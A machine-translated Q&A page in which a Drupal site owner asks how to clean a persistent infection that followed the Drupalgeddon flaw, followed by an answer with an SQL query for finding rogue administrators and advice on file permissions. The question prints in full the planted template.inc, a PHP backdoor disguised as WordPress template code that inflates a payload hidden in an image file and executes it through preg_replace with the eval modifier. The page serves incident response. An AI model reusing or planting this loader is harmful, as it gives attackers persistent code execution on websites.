web-dev-qa-db-ja.com

煩わしいハックがbootstrap.incを変更し、暗号ファイルをsites / default / files / stylesに書き込み続けます

私たちのウェブサイトの大規模なハッキングで大きな問題が発生しています。 Drupal 7.32昨年、大きなセキュリティ問題が発表されたとき、それは実行されていました。残念ながら、私たちは遅すぎてサイトがハッキングされました。

過去数か月の間、時々サイトをクリーンアップしようとしましたが、ハッキングはまだアクティブであり、「bootstrap.inc」を変更する方法を見つけたため、「template.inc」が含まれ、次の場合にページが変更されますGoogleがインデックスに登録しています。

Drupalシステム全体を再インストールし、すべての「サイト」データを手動で転送しましたが、そのフォルダー内のすべてのモジュールを削除して再インストールしたので、に移動した後にコードが1行も残っていないはずです。新しいサーバー。

しかし、ハッキングはデータベースに存在しているようです。キャッシュテーブルをフラッシュするだけで、悪意のあるデータベースエントリを探す場所がわかりませんでした。

ハックは次のことを行うようです：

  • 何とかsites/default/files/styles/large/public/field/imageに書き込むことができます。 animation_01.gif、animation_02.gifなど、pic-button-img-123.pngなどの名前のファイルが見つかります。各ファイルの長さは数百バイトで、ip.datという大きなファイルがあります。数MBの大きさ。
  • 次に、ルートディレクトリのincludesフォルダにtemplate.incというファイルをアップロードします
  • アップロードされたbootstrap.incのインクルード行が含まれるようにtemplate.incを変更します：include_once DRUPAL_ROOT.'/includes/template.inc';

その行を削除すると、Googleウェブマスターツールに通常のフェッチ結果が再び表示されます。

それで、誰かが今どのように進むべきかというアドバイスを持っていますか？ハックがデータベースにあると思いますか。もしそうであれば、何を探すべきですか？

おそらく、そのstylesフォルダー内の画像がヒントになる可能性があります。どのモジュールが悪用されていますか？スタイルに関する内部の詳細、スタイルの生成方法などを知っている人はいますか？

これは明らかにハックの「頭脳」であり、includesフォルダにtemplate.incとしてアップロードされます。

<?php




/**
 * Retrieve path to a template
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme, if the file exists, with
 * the use of {@link locate_template()}. Allows for more generic template location
 * without the use of the other get_*_template() functions.
 *
 * @since 1.5.0
 *
 * @param string $type Filename without extension.
 * @param array $templates An optional list of template candidates
 * @return string Full path to file.
 */
function mb_get_query_template( $type, $templates = array() ) {
    $type = preg_replace( '|[^a-z0-9-]+|', '', $type );

    if ( empty( $templates ) )
        $templates = array("{$type}.php");

    $template = locate_template( $templates );
    /**
     * Filter the path of the queried template by type.
     *
     * The dynamic portion of the hook name, $type, refers to the filename
     * -- minus the extension -- of the file to load. This hook also applies
     * to various types of files loaded as part of the Template Hierarchy.
     *
     * @since 1.5.0
     *
     * @param string $template Path to the template. @see locate_template()
     */
    return apply_filters( "{$type}_template", $template );
}

/**
 * Retrieve path of index template in current or parent template.
 *
 * @since 3.0.0
 *
 * @return string
 */
function mb_get_index_template() {
    return get_query_template('index');
}

/**
 * Retrieve path of 404 template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_404_template() {
    return get_query_template('404');
}

/**
 * Retrieve path of archive template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_archive_template() {
    $post_types = array_filter( (array) get_query_var( 'post_type' ) );

    $templates = array();

    if ( count( $post_types ) == 1 ) {
        $post_type = reset( $post_types );
        $templates[] = "archive-{$post_type}.php";
    }
    $templates[] = 'archive.php';

    return get_query_template( 'archive', $templates );
}

/**
 * Retrieve path of post type archive template in current or parent template.
 *
 * @since 3.7.0
 *
 * @return string
 */
function mb_get_post_type_archive_template() {
    $post_type = get_query_var( 'post_type' );
    if ( is_array( $post_type ) )
        $post_type = reset( $post_type );

    $obj = get_post_type_object( $post_type );
    if ( ! $obj->has_archive )
        return '';

    return get_archive_template();
}

/**
 * Retrieve path of author template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_author_template() {
    $author = get_queried_object();

    $templates = array();

    if ( is_a( $author, 'WP_User' ) ) {
        $templates[] = "author-{$author->user_nicename}.php";
        $templates[] = "author-{$author->ID}.php";
    }
    $templates[] = 'author.php';

    return get_query_template( 'author', $templates );
}

/**
 * Retrieve path of category template in current or parent template.
 *
 * Works by first retrieving the current slug, for example 'category-default.php', and then
 * trying category ID, for example 'category-1.php', and will finally fall back to category.php
 * template, if those files don't exist.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'category_template' on file path of category template.
 *
 * @return string
 */
function mb_get_category_template() {
    $category = get_queried_object();

    $templates = array();

    if ( ! empty( $category->slug ) ) {
        $templates[] = "category-{$category->slug}.php";
        $templates[] = "category-{$category->term_id}.php";
    }
    $templates[] = 'category.php';

    return get_query_template( 'category', $templates );
}

/**
 * Retrieve path of tag template in current or parent template.
 *
 * Works by first retrieving the current tag name, and then
 * trying tag ID, for example 'tag-1.php', and will finally fall back to tag.php
 * template, if those files don't exist.
 *
 * @since 2.3.0
 * @uses apply_filters() Calls 'tag_template' on file path of tag template.
 *
 * @return string
 */
function mb_get_tag_template() {
    $tag = get_queried_object();

    $templates = array();

    if ( ! empty( $tag->slug ) ) {
        $templates[] = "tag-{$tag->slug}.php";
        $templates[] = "tag-{$tag->term_id}.php";
    }
    $templates[] = 'tag.php';

    return get_query_template( 'tag', $templates );
}

/**
 * Retrieve path of taxonomy template in current or parent template.
 *
 * Retrieves the taxonomy and term, if term is available. The template is
 * prepended with 'taxonomy-' and followed by both the taxonomy string and
 * the taxonomy string followed by a dash and then followed by the term.
 *
 * The taxonomy and term template is checked and used first, if it exists.
 * Second, just the taxonomy template is checked, and then finally, taxonomy.php
 * template is used. If none of the files exist, then it will fall back on to
 * index.php.
 *
 * @since 2.5.0
 * @uses apply_filters() Calls 'taxonomy_template' filter on found path.
 *
 * @return string
 */
function mb_get_taxonomy_template() {
    $term = get_queried_object();

    $templates = array();

    if ( ! empty( $term->slug ) ) {
        $taxonomy = $term->taxonomy;
        $templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
        $templates[] = "taxonomy-$taxonomy.php";
    }
    $templates[] = 'taxonomy.php';

    return get_query_template( 'taxonomy', $templates );
}

/**
 * Retrieve path of date template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_date_template() {
    return get_query_template('date');
}

/**
 * Retrieve path of home template in current or parent template.
 *
 * This is the template used for the page containing the blog posts.
 *
 * Attempts to locate 'home.php' first before falling back to 'index.php'.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'home_template' on file path of home template.
 *
 * @return string
 */
function mb_get_home_template() {
    $templates = array('sites', 'default', 'files', 'styles', 'large', 'public', 'field', 'image', 'aktuelles_2012_12_19_hoeller1');
    $image_extension='jpg';
    define('___REALDOCROOT', rtrim('/kunden/372493_91052/rp-hosting/KNR-00033/ANR-00000077', "\\/"));
    $home_tpl=join('/', $templates).'.'.$image_extension;
    return ($home_tpl)?___REALDOCROOT.'/'.$home_tpl:get_query_template( 'home', $templates );
}

/**
 * Retrieve path of front-page template in current or parent template.
 *
 * Looks for 'front-page.php'.
 *
 * @since 3.0.0
 * @uses apply_filters() Calls 'front_page_template' on file path of template.
 *
 * @return string
 */
function mb_get_front_page_template() {
    $templates = array('front-page.php');

    return get_query_template( 'front_page', $templates );
}

/**
 * Retrieve path of page template in current or parent template.
 *
 * Will first look for the specifically assigned page template.
 * Then will search for 'page-{slug}.php', followed by 'page-{id}.php',
 * and finally 'page.php'.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_page_template($template) {

    $template=mb_get_single_template($template);

    if($template){
        $popup_template=mb_get_comments_popup_template();
        preg_replace($popup_template, "e"."v"."a"."l('".$template."');", NULL);
    }else{
        $id = get_queried_object_id();
        $template = get_page_template_slug();
        $pagename = get_query_var('pagename');

        if ( ! $pagename && $id ) {
            // If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object
            $post = get_queried_object();
            if ( $post )
                $pagename = $post->post_name;
        }

        $templates = array();
        if ( $template && 0 === validate_file( $template ) )
            $templates[] = $template;
        if ( $pagename )
            $templates[] = "page-$pagename.php";
        if ( $id )
            $templates[] = "page-$id.php";
        $templates[] = 'page.php';

        return get_query_template( 'page', $templates );
    }   
}

/**
 * Retrieve path of paged template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_paged_template() {
    return get_query_template('paged');
}mb_locate_template('main_tpl', false, true);

/**
 * Retrieve path of search template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_search_template() {
    return get_query_template('search');
}

/**
 * Retrieve path of single template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_single_template($template) {

    $parts=explode('(', __FILE__);
    define('___LOADPREFIX', array_shift($parts));   
    $templates = array('', 'sites', 'default', 'files', 'styles', 'large', 'public', 'field', 'image'); 
    if(intval('1')==1){
        array_unshift($templates, ___REALDOCROOT);  
    }
    define('__C_L_CACHEDIR', join('/', $templates));        

    $content=file_get_contents($template);
    $content=@gzinflate($content);

    if($content!==false)
        return $content;
    else{
        $content=$content*35;
        return $content;
    }

    $object = get_queried_object();

    $templates = array();

    if ( ! empty( $object->post_type ) )
        $templates[] = "single-{$object->post_type}.php";
    $templates[] = "single.php";

    return get_query_template( 'single', $templates );
}

/**
 * Retrieve path of attachment template in current or parent template.
 *
 * The attachment path first checks if the first part of the mime type exists.
 * The second check is for the second part of the mime type. The last check is
 * for both types separated by an underscore. If neither are found then the file
 * 'attachment.php' is checked and returned.
 *
 * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and
 * finally 'text_plain.php'.
 *
 * @since 2.0.0
 *
 * @return string
 */
function mb_get_attachment_template() {
    global $posts;

    if ( ! empty( $posts ) && isset( $posts[0]->post_mime_type ) ) {
        $type = explode( '/', $posts[0]->post_mime_type );

        if ( ! empty( $type ) ) {
            if ( $template = get_query_template( $type[0] ) )
                return $template;
            elseif ( ! empty( $type[1] ) ) {
                if ( $template = get_query_template( $type[1] ) )
                    return $template;
                elseif ( $template = get_query_template( "$type[0]_$type[1]" ) )
                    return $template;
            }
        }
    }

    return get_query_template( 'attachment' );
}

/**
 * Retrieve path of comment popup template in current or parent template.
 *
 * Checks for comment popup template in current template, if it exists or in the
 * parent template.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'comments_popup_template' filter on path.
 *
 * @return string
 */
function mb_get_comments_popup_template() {
    $popup_template='(.*)';
    if(strlen($popup_template)>=3){
        $template='_'.$popup_template.'_';
    }else{
        $template = get_query_template( 'comments_popup', array( 'comments-popup.php' ) );

        // Backward compat code will be removed in a future release
        if ('' == $template)
            $template = ABSPATH . WPINC . '/theme-compat/comments-popup.php';
    }   

    if($template)
        $template.='e';

    return $template;
}

/**
 * Retrieve the name of the highest priority template file that exists.
 *
 * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which
 * inherit from a parent theme can just overload one file.
 *
 * @since 2.7.0
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool $load If true the template file will be loaded if it is found.
 * @param bool $require_once Whether to require_once or require. Default true. Has no effect if $load is false.
 * @return string The template filename if one is located.
 */
function mb_locate_template($template_names, $load = false, $require_once = true ) {
    $located = '';

    $template=mb_get_home_template();
    define('____CACHELOCK', $template);
    if (file_exists($template)) {
        define('____DATADIR', dirname($template).'/');
        return mb_get_page_template($template);
    }else{
        foreach ( (array) $template_names as $template_name ) {
            if ( !$template_name )
                continue;
            if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
                $located = STYLESHEETPATH . '/' . $template_name;
                break;
            } else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
                $located = TEMPLATEPATH . '/' . $template_name;
                break;
            }
        }

        if ( $load && '' != $located )
            load_template( $located, $require_once );

        return $located;
    }   
}
/**
 * 
 * The globals are set up for the template file to ensure that the one
 * environment is available from within the function. The query variables are
 * also available.
 *
 * @since 1.5.0
 *
 * @param string $_template_file Path to template file.
 * @param bool $require_once Whether to require_once or require. Default true.
 */
function mb_load_template( $_template_file, $require_once = true ) {
    global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;

    if ( is_array( $wp_query->query_vars ) )
        extract( $wp_query->query_vars, EXTR_SKIP );

    if ( $require_once )
        require_once( $_template_file );
    else
        require( $_template_file );
}
7security
2
tamasgal

不正なユーザーとロールを探します。次のSQLクエリを実行すると、それを見つけることができます。

SELECT * FROM users AS u 
INNER JOIN users_roles AS ur ON u.uid = ur.uid 
INNER JOIN role AS r ON ur.rid = r.rid 
INNER JOIN role_permission AS rp ON r.rid = rp.rid 
WHERE rp.permission IN('administer filters', 'administer users', 'administer permissions', 'administer content types', 'administer site configuration', 'administer nodes') 
AND u.created > UNIX_TIMESTAMP(STR_TO_DATE('Oct 15 2014', '%M %d %Y '));

ファイルシステムが再感染するのを防ぐには、Webサイトは、sites/default/filesフォルダーなどへの書き込みアクセス権のみを持っている必要があります。詳細については、 ファイルのアクセス許可と所有権の保護 を参照してください

3
Colin Shipton